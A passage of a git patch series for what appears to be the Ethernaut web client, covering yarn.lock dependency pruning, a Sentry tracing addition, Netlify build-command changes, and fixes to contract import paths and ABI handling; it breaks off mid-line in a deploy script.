sha512-3Tq09izhD+ThqHEaWYX4VOT7dNPdZiO+c/1QMA0s5X2lDFKK/xHJb7cyTRRVzN2LvlHbR7baS1tmQhSua51TcQ== - dependencies: - bn.js "^4.11.9" - eth-lib "0.2.8" - ethereum-bloom-filters "^1.0.6" - ethjs-unit "0.1.6" - number-to-bn "1.7.0" - randombytes "^2.1.0" - underscore "1.9.1" - utf8 "3.0.0" - -web3-utils@1.7.4, web3-utils@^1.2.1: +web3-utils@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-utils/-/web3-utils-1.7.4.tgz" integrity sha512-acBdm6Evd0TEZRnChM/MCvGsMwYKmSh7OaUfNf5OKG0CIeGWD/6gqLOWIwmwSnre/2WrA1nKGId5uW2e5EfluA== @@ -18912,10 +14485,10 @@ web3-utils@1.7.4, web3-utils@^1.2.1: randombytes "^2.1.0" utf8 "3.0.0" -web3-utils@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-utils/-/web3-utils-1.8.0.tgz" - integrity sha512-7nUIl7UWpLVka2f09CMbKOSEvorvHnaugIabU4mj7zfMvm0tSByLcEu3eyV9qgS11qxxLuOkzBIwCstTflhmpQ== +web3-utils@1.8.2: + version "1.8.2" + resolved "https://registry.yarnpkg.com/web3-utils/-/web3-utils-1.8.2.tgz#c32dec5e9b955acbab220eefd7715bc540b75cc9" + integrity sha512-v7j6xhfLQfY7xQDrUP0BKbaNrmZ2/+egbqP9q3KYmOiPpnvAfol+32slgL0WX/5n8VPvKCK5EZ1HGrAVICSToA== dependencies: bn.js "^5.2.1" ethereum-bloom-filters "^1.0.6" @@ -18925,7 +14498,7 @@ web3-utils@1.8.0: randombytes "^2.1.0" utf8 "3.0.0" -web3-utils@1.8.1, web3-utils@^1.0.0-beta.31: +web3-utils@^1.0.0-beta.31: version "1.8.1" resolved "https://registry.npmjs.org/web3-utils/-/web3-utils-1.8.1.tgz" integrity sha512-LgnM9p6V7rHHUGfpMZod+NST8cRfGzJ1BTXAyNo7A9cJX9LczBfSRxJp+U/GInYe9mby40t3v22AJdlELibnsQ== @@ -18938,45 +14511,6 @@ web3-utils@1.8.1, web3-utils@^1.0.0-beta.31: randombytes "^2.1.0" utf8 "3.0.0" -web3-utils@1.8.2: - version "1.8.2" - resolved "https://registry.yarnpkg.com/web3-utils/-/web3-utils-1.8.2.tgz#c32dec5e9b955acbab220eefd7715bc540b75cc9" - integrity sha512-v7j6xhfLQfY7xQDrUP0BKbaNrmZ2/+egbqP9q3KYmOiPpnvAfol+32slgL0WX/5n8VPvKCK5EZ1HGrAVICSToA== - dependencies: - bn.js "^5.2.1" - ethereum-bloom-filters "^1.0.6" - ethereumjs-util "^7.1.0" - ethjs-unit "0.1.6" - number-to-bn "1.7.0" - randombytes "^2.1.0" - utf8 "3.0.0" - -web3@*, web3@^1.0.0-beta.34: - version "1.8.1" - resolved "https://registry.npmjs.org/web3/-/web3-1.8.1.tgz" - integrity sha512-tAqFsQhGv340C9OgRJIuoScN7f7wa1tUvsnnDUMt9YE6J4gcm7TV2Uwv+KERnzvV+xgdeuULYpsioRRNKrUvoQ== - dependencies: - web3-bzz "1.8.1" - web3-core "1.8.1" - web3-eth "1.8.1" - web3-eth-personal "1.8.1" - web3-net "1.8.1" - web3-shh "1.8.1" - web3-utils "1.8.1" - -web3@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3/-/web3-1.2.11.tgz" - integrity sha512-mjQ8HeU41G6hgOYm1pmeH0mRAeNKJGnJEUzDMoerkpw7QUQT4exVREgF1MYPvL/z6vAshOXei25LE/t/Bxl8yQ== - dependencies: - web3-bzz "1.2.11" - web3-core "1.2.11" - web3-eth "1.2.11" - web3-eth-personal "1.2.11" - web3-net "1.2.11" - web3-shh "1.2.11" - web3-utils "1.2.11" - web3@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3/-/web3-1.7.4.tgz" @@ -18990,19 +14524,6 @@ web3@1.7.4: web3-shh "1.7.4" web3-utils "1.7.4" -web3@1.8.0, web3@^1.2.1: - version "1.8.0" - resolved "https://registry.npmjs.org/web3/-/web3-1.8.0.tgz" - integrity sha512-sldr9stK/SALSJTgI/8qpnDuBJNMGjVR84hJ+AcdQ+MLBGLMGsCDNubCoyO6qgk1/Y9SQ7ignegOI/7BPLoiDA== - dependencies: - web3-bzz "1.8.0" - web3-core "1.8.0" - web3-eth "1.8.0" - web3-eth-personal "1.8.0" - web3-net "1.8.0" - web3-shh "1.8.0" - web3-utils "1.8.0" - web3@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3/-/web3-1.8.2.tgz#95a4e5398fd0f01325264bf8e5e8cdc69a7afe86" @@ -19150,19 +14671,7 @@ websocket-extensions@>=0.1.1: resolved "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz" integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg== -websocket@1.0.32: - version "1.0.32" - resolved "https://registry.npmjs.org/websocket/-/websocket-1.0.32.tgz" - integrity sha512-i4yhcllSP4wrpoPMU2N0TQ/q0O94LRG/eUQjEAamRltjQ1oT1PFFKOG4i877OlJgCG8rw6LrrowJp+TYCEWF7Q== - dependencies: - bufferutil "^4.0.1" - debug "^2.2.0" - es5-ext "^0.10.50" - typedarray-to-buffer "^3.1.5" - utf-8-validate "^5.0.2" - yaeti "^0.0.6" - -websocket@^1.0.31, websocket@^1.0.32, websocket@^1.0.34: +websocket@^1.0.32, websocket@^1.0.34: version "1.0.34" resolved "https://registry.npmjs.org/websocket/-/websocket-1.0.34.tgz" integrity sha512-PRDso2sGwF6kM75QykIesBijKSVceR6jL2G8NGYyq2XrItNC2P5/qL5XeR056GhA+Ly7JMFvJb9I312mJfmqnQ== @@ -19181,11 +14690,6 @@ whatwg-encoding@^1.0.5: dependencies: iconv-lite "0.4.24" -whatwg-fetch@^2.0.4: - version "2.0.4" - resolved "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz" - integrity sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng== - whatwg-fetch@^3.4.1: version "3.6.2" resolved "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz" @@ -19246,7 +14750,7 @@ which-typed-array@^1.1.2: has-tostringtag "^1.0.0" is-typed-array "^1.1.10" -which@1.3.1, which@^1.2.9, which@^1.3.1: +which@^1.2.9, which@^1.3.1: version "1.3.1" resolved "https://registry.npmjs.org/which/-/which-1.3.1.tgz" integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ== @@ -19260,30 +14764,11 @@ which@^2.0.1, which@^2.0.2: dependencies: isexe "^2.0.0" -wide-align@1.1.3: - version "1.1.3" - resolved "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz" - integrity sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA== - dependencies: - string-width "^1.0.2 || 2" - window-size@^0.2.0: version "0.2.0" resolved "https://registry.npmjs.org/window-size/-/window-size-0.2.0.tgz" integrity sha512-UD7d8HFA2+PZsbKyaOCEy8gMh1oDtHgJh1LfgjQ4zVXmYjAT/kvz3PueITKuqDiIXQe7yzpPnxX3lNc+AhQMyw== -winston@2.x: - version "2.4.6" - resolved "https://registry.npmjs.org/winston/-/winston-2.4.6.tgz" - integrity sha512-J5Zu4p0tojLde8mIOyDSsmLmcP8I3Z6wtwpTDHx1+hGcdhxcJaAmG4CFtagkb+NiN1M9Ek4b42pzMWqfc9jm8w== - dependencies: - async "^3.2.3" - colors "1.0.x" - cycle "1.0.x" - eyes "0.1.x" - isstream "0.1.x" - stack-trace "0.0.x" - word-wrap@^1.2.3, word-wrap@~1.2.3: version "1.2.3" resolved "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz" @@ -19456,11 +14941,6 @@ worker-rpc@^0.1.0: dependencies: microevent.ts "~0.1.1" -workerpool@6.2.1: - version "6.2.1" - resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz" - integrity sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw== - wrap-ansi@^2.0.0: version "2.1.0" resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz" @@ -19487,15 +14967,6 @@ wrap-ansi@^6.2.0: string-width "^4.1.0" strip-ansi "^6.0.0" -wrap-ansi@^7.0.0: - version "7.0.0" - resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz" - integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== - dependencies: - ansi-styles "^4.0.0" - string-width "^4.1.0" - strip-ansi "^6.0.0" - wrappy@1: version "1.0.2" resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz" @@ -19525,13 +14996,6 @@ ws@^3.0.0: safe-buffer "~5.1.0" ultron "~1.1.0" -ws@^5.1.1: - version "5.2.3" - resolved "https://registry.npmjs.org/ws/-/ws-5.2.3.tgz" - integrity sha512-jZArVERrMsKUatIdnLzqvcfydI85dvd/Fp1u/VOpfdDWQ4c9qWXe+VIeAbQ5FrDwciAkr+lzofXLz3Kuf26AOA== - dependencies: - async-limiter "~1.0.0" - ws@^6.2.1: version "6.2.2" resolved "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz" @@ -19571,7 +15035,7 @@ xhr2-cookies@1.1.0: dependencies: cookiejar "^2.1.1" -xhr@^2.0.4, xhr@^2.2.0, xhr@^2.3.3: +xhr@^2.0.4, xhr@^2.3.3: version "2.6.0" resolved "https://registry.npmjs.org/xhr/-/xhr-2.6.0.tgz" integrity sha512-/eCGLb5rxjx5e3mF1A7s+pLlR6CGyqWN91fv1JgER5mVWg1MZmlhBvy9kjcsOdRk8RrIujotWyJamfyrp+WIcA== @@ -19596,18 +15060,11 @@ xmlhttprequest@1.8.0: resolved "https://registry.npmjs.org/xmlhttprequest/-/xmlhttprequest-1.8.0.tgz" integrity sha512-58Im/U0mlVBLM38NdZjHyhuMtCqa61469k2YP/AaPbvCoV9aQGUpbJBj1QRm2ytRiVQBD/fsw7L2bJGDVQswBA== -xtend@^4.0.0, xtend@^4.0.1, xtend@~4.0.0, xtend@~4.0.1: +xtend@^4.0.0, xtend@~4.0.1: version "4.0.2" resolved "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz" integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== -xtend@~2.1.1: - version "2.1.2" - resolved "https://registry.npmjs.org/xtend/-/xtend-2.1.2.tgz" - integrity sha512-vMNKzr2rHP9Dp/e1NQFnLQlwlhp9L/LfvnsVdHxN1f+uggyVI3i08uD14GPvCToPkdsRfyPqIyYGmIk58V98ZQ== - dependencies: - object-keys "~0.4.0" - y18n@^3.2.1: version "3.2.2" resolved "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz" @@ -19618,11 +15075,6 @@ y18n@^4.0.0: resolved "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz" integrity sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ== -y18n@^5.0.5: - version "5.0.8" - resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz" - integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA== - yaeti@^0.0.6: version "0.0.6" resolved "https://registry.npmjs.org/yaeti/-/yaeti-0.0.6.tgz" @@ -19638,12 +15090,12 @@ yallist@^4.0.0: resolved "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz" integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A== -yaml@^1.10.0, yaml@^1.10.2: +yaml@^1.10.0: version "1.10.2" resolved "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz" integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg== -yargs-parser@13.1.2, yargs-parser@^13.1.2: +yargs-parser@^13.1.2: version "13.1.2" resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz" integrity sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg== @@ -19651,11 +15103,6 @@ yargs-parser@13.1.2, yargs-parser@^13.1.2: camelcase "^5.0.0" decamelize "^1.2.0" -yargs-parser@20.2.4: - version "20.2.4" - resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz" - integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA== - yargs-parser@^18.1.2: version "18.1.3" resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz" @@ -19672,31 +15119,7 @@ yargs-parser@^2.4.1: camelcase "^3.0.0" lodash.assign "^4.0.6" -yargs-parser@^20.2.2: - version "20.2.9" - resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz" - integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== - -yargs-unparser@1.6.0: - version "1.6.0" - resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz" - integrity sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw== - dependencies: - flat "^4.1.0" - lodash "^4.17.15" - yargs "^13.3.0" - -yargs-unparser@2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz" - integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA== - dependencies: - camelcase "^6.0.0" - decamelize "^4.0.0" - flat "^5.0.2" - is-plain-obj "^2.1.0" - -yargs@13.3.2, yargs@^13.3.0, yargs@^13.3.2: +yargs@^13.3.2: version "13.3.2" resolved "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz" integrity sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw== @@ -19712,19 +15135,6 @@ yargs@13.3.2, yargs@^13.3.0, yargs@^13.3.2: y18n "^4.0.0" yargs-parser "^13.1.2" -yargs@16.2.0: - version "16.2.0" - resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz" - integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw== - dependencies: - cliui "^7.0.2" - escalade "^3.1.1" - get-caller-file "^2.0.5" - require-directory "^2.1.1" - string-width "^4.2.0" - y18n "^5.0.5" - yargs-parser "^20.2.2" - yargs@^15.4.1: version "15.4.1" resolved "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz" From 7a5ff79ae8ab8237720373bedb5ea48a7035f907 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 11:23:45 -0500 Subject: [PATCH 28/35] =?UTF-8?q?=F0=9F=90=9B=20fix=20build=20netlify=20co?= =?UTF-8?q?mmand?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 5d0107f00..ad956e79c 100644 --- a/package.json +++ b/package.json @@ -21,7 +21,7 @@ "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", "network": "cd contracts && anvil", "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", - "build:netlify": "yarn --cwd client build", + "build:netlify": "cd client && yarn && yarn --cwd client build", "start:ethernaut": "cd client && yarn start", "test:contracts": "cd contracts && forge test", "leaderboard:oldCrawler": "node client/leaderboard/scripts/crawlers/crawlHistoricalData/index.cjs", From cb5d18b288bdb197b64df360e868697c8f7f1692 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 11:33:53 -0500 Subject: [PATCH 29/35] =?UTF-8?q?=E2=9E=95=20add=20sentry=20tracing=20depe?= =?UTF-8?q?ndency?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/package.json | 1 + yarn.lock | 43 +++++++++++++++++++++++++++++++++++++------ 2 files changed, 38 insertions(+), 6 deletions(-) diff --git a/client/package.json b/client/package.json index 3d733e03a..480033f14 100644 --- a/client/package.json +++ b/client/package.json @@ -5,6 +5,7 @@ "private": true, "dependencies": { "@sentry/react": "^7.0.0", + "@sentry/tracing": "^7.108.0", "@truffle/contract": "^4.3.15", "alchemy-sdk": "^2.2.3", "axios": "^1.2.4", diff --git a/yarn.lock b/yarn.lock index cb4da4283..745a6b289 100644 --- a/yarn.lock +++ b/yarn.lock @@ -1932,6 +1932,15 @@ estree-walker "^1.0.1" picomatch "^2.2.2" +"@sentry-internal/tracing@7.108.0": + version "7.108.0" + resolved "https://registry.yarnpkg.com/@sentry-internal/tracing/-/tracing-7.108.0.tgz#d1e660701fb860cfae72b6ebfa8fb267533421fa" + integrity sha512-zuK5XsTsb+U+hgn3SPetYDAogrXsM16U/LLoMW7+TlC6UjlHGYQvmX3o+M2vntejoU1QZS8m1bCAZSMWEypAEw== + dependencies: + "@sentry/core" "7.108.0" + "@sentry/types" "7.108.0" + "@sentry/utils" "7.108.0" + "@sentry/browser@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/browser/-/browser-7.19.0.tgz" @@ -1942,6 +1951,14 @@ "@sentry/utils" "7.19.0" tslib "^1.9.3" +"@sentry/core@7.108.0": + version "7.108.0" + resolved "https://registry.yarnpkg.com/@sentry/core/-/core-7.108.0.tgz#a27e8d6f85f59c5730ce86071474f15ac899fde0" + integrity sha512-I/VNZCFgLASxHZaD0EtxZRM34WG9w2gozqgrKGNMzAymwmQ3K9g/1qmBy4e6iS3YRptb7J5UhQkZQHrcwBbjWQ== + dependencies: + "@sentry/types" "7.108.0" + "@sentry/utils" "7.108.0" + "@sentry/core@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/core/-/core-7.19.0.tgz" @@ -1962,11 +1979,30 @@ hoist-non-react-statics "^3.3.2" tslib "^1.9.3" +"@sentry/tracing@^7.108.0": + version "7.108.0" + resolved "https://registry.yarnpkg.com/@sentry/tracing/-/tracing-7.108.0.tgz#ec1d6b84fb249c3a71d7b24a2bee0fd70e552fe2" + integrity sha512-wfAEEK1pa/PieFjVHv7Li4z280WcL+1Eg4tL8xN8/yq1oPFHLhjOmWRvKN9cm818N8ntZIFB0jGLu4ETM5jDCw== + dependencies: + "@sentry-internal/tracing" "7.108.0" + +"@sentry/types@7.108.0": + version "7.108.0" + resolved "https://registry.yarnpkg.com/@sentry/types/-/types-7.108.0.tgz#5ceb959c4dabe511fc441fec8c2465f2d624900f" + integrity sha512-bKtHITmBN3kqtqE5eVvL8mY8znM05vEodENwRpcm6TSrrBjC2RnwNWVwGstYDdHpNfFuKwC8mLY9bgMJcENo8g== + "@sentry/types@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/types/-/types-7.19.0.tgz" integrity sha512-oGRAT6lfzoKrxO1mvxiSj0XHxWPd6Gd1wpPGuu6iJo03xgWDS+MIlD1h2unqL4N5fAzLjzmbC2D2lUw50Kn2pA== +"@sentry/utils@7.108.0": + version "7.108.0" + resolved "https://registry.yarnpkg.com/@sentry/utils/-/utils-7.108.0.tgz#0231042956aed2ef35809891592238530349dfd9" + integrity sha512-a45yEFD5qtgZaIFRAcFkG8C8lnDzn6t4LfLXuV4OafGAy/3ZAN3XN8wDnrruHkiUezSSANGsLg3bXaLW/JLvJw== + dependencies: + "@sentry/types" "7.108.0" + "@sentry/utils@7.19.0": version "7.19.0" resolved "https://registry.npmjs.org/@sentry/utils/-/utils-7.19.0.tgz" @@ -7047,12 +7083,7 @@ hex-color-regex@^1.1.0: resolved "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz" integrity sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ== -highlight.js@^10.4.1: - version "10.7.2-local" - dependencies: - highlight.js "^10.7.2" - -highlight.js@^10.7.2: +highlight.js@^10.4.1, highlight.js@^10.7.2: version "10.7.3" resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.3.tgz#697272e3991356e40c3cac566a74eef681756531" integrity sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A== From 5826ee6f4fa098ae6d102ca13174f32568757c7f Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 11:52:33 -0500 Subject: [PATCH 30/35] =?UTF-8?q?=E2=9A=A1=EF=B8=8F=20optimize=20yarn=20si?= =?UTF-8?q?te=20build?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- package.json | 2 +- yarn.lock | 7 ++++++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/netlify.toml b/netlify.toml index fd29d6255..56094c8c5 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "yarn && yarn run build:netlify" + command = "yarn run build:netlify" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index ad956e79c..5d0107f00 100644 --- a/package.json +++ b/package.json @@ -21,7 +21,7 @@ "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", "network": "cd contracts && anvil", "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", - "build:netlify": "cd client && yarn && yarn --cwd client build", + "build:netlify": "yarn --cwd client build", "start:ethernaut": "cd client && yarn start", "test:contracts": "cd contracts && forge test", "leaderboard:oldCrawler": "node client/leaderboard/scripts/crawlers/crawlHistoricalData/index.cjs", diff --git a/yarn.lock b/yarn.lock index 745a6b289..fedcdb8fe 100644 --- a/yarn.lock +++ b/yarn.lock @@ -7083,7 +7083,12 @@ hex-color-regex@^1.1.0: resolved "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz" integrity sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ== -highlight.js@^10.4.1, highlight.js@^10.7.2: +highlight.js@^10.4.1: + version "10.7.2-local" + dependencies: + highlight.js "^10.7.2" + +highlight.js@^10.7.2: version "10.7.3" resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.3.tgz#697272e3991356e40c3cac566a74eef681756531" integrity sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A== From 5c3b77d454273675ae29c75e1fb6242424cd77e8 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 12:10:40 -0500 Subject: [PATCH 31/35] =?UTF-8?q?=F0=9F=90=9B=20fix=20contracts=20path=20i?= =?UTF-8?q?n=20client?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/src/containers/Level.js | 2 +- client/src/utils/contractutil.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/containers/Level.js b/client/src/containers/Level.js index 186f03366..556522b88 100644 --- a/client/src/containers/Level.js +++ b/client/src/containers/Level.js @@ -142,7 +142,7 @@ class Level extends React.Component { let sourcesFile = null; try { - sourcesFile = require(`contracts/src/levels/${level.instanceContract}`); + sourcesFile = require(`../contracts/src/levels/${level.instanceContract}`); } catch (e) { console.log(e); } diff --git a/client/src/utils/contractutil.js b/client/src/utils/contractutil.js index 36fce3c71..0db5f8ecf 100644 --- a/client/src/utils/contractutil.js +++ b/client/src/utils/contractutil.js @@ -176,7 +176,7 @@ export const verifyContract = async (contractAddress, level, chainId) => { if (!network.explorer || !level.verificationDetails) return; - const contractFile = await fetch(`contracts/src/levels/${level.instanceContract}`); + const contractFile = await fetch(`../contracts/src/levels/${level.instanceContract}`); const contractCode = await contractFile.text(); const headers = new Headers(); From 2b5bf8603d0d599efa74f35774a169ae84dcc1e6 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 12:16:39 -0500 Subject: [PATCH 32/35] =?UTF-8?q?=E2=9A=B0=EF=B8=8F=20remove=20unusued=20v?= =?UTF-8?q?ar?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/src/utils/contractutil.js | 1 - 1 file changed, 1 deletion(-) diff --git a/client/src/utils/contractutil.js b/client/src/utils/contractutil.js index 0db5f8ecf..ac5c6ae9f 100644 --- a/client/src/utils/contractutil.js +++ b/client/src/utils/contractutil.js @@ -62,7 +62,6 @@ export function getLevelKey(levelAddress) { export function fetchLevelABI(level) { const contractName = level.levelContract.split(".")[0]; - const path = require('path'); return require(`../contracts/out/${level.levelContract}/${contractName}.json`); } From e9f7e9264b80518852178e77fa0ef8cc5a96bd0b Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 12:55:34 -0500 Subject: [PATCH 33/35] =?UTF-8?q?=F0=9F=90=9B=20fix=20how=20abi=20is=20con?= =?UTF-8?q?sumed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/src/utils/ethutil.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/utils/ethutil.js b/client/src/utils/ethutil.js index 9e04bcd7e..a9465345f 100644 --- a/client/src/utils/ethutil.js +++ b/client/src/utils/ethutil.js @@ -18,7 +18,7 @@ export const getTruffleContract = (jsonABI, defaults = {}) => { // // With this, MetaMask v9 deprecation warnings are removed. // const TruffleContract = require('@truffle/contract'); - const truffleContract = TruffleContract(jsonABI); + const truffleContract = TruffleContract({ abi: jsonABI.abi }); if (!defaults.gasPrice) defaults.gasPrice = 2000000000; if (!defaults.gas) defaults.gas = 2000000; truffleContract.defaults(defaults); From 79692c897f86945661cb5270329990ff760e5876 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 14:45:47 -0500 Subject: [PATCH 34/35] =?UTF-8?q?=F0=9F=90=9B=20fix=20deploy=20and=20super?= =?UTF-8?q?sede=20scripts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/scripts/deploy_contracts.mjs | 6 +++--- client/scripts/supersede_level.mjs | 12 ++++++------ client/src/constants.js | 2 +- client/src/utils/ethutil.js | 2 +- package.json | 2 +- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/client/scripts/deploy_contracts.mjs b/client/scripts/deploy_contracts.mjs index 322bcc5d1..2976fb68a 100644 --- a/client/scripts/deploy_contracts.mjs +++ b/client/scripts/deploy_contracts.mjs @@ -8,9 +8,9 @@ import * as constants from "../src/constants.js"; import HDWalletProvider from "@truffle/hdwallet-provider"; import * as gamedata from "../src/gamedata/gamedata.json" assert { type: "json" }; import * as EthernautABI from "../src/contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; -import * as ProxyAdminABI from "../src/contracts/contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; -import * as ImplementationABI from "../src/contracts/contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; -import * as ProxyStatsABI from "../src/contracts/contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; +import * as ProxyAdminABI from "../src/contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; +import * as ImplementationABI from "../src/contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; +import * as ProxyStatsABI from "../src/contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; let 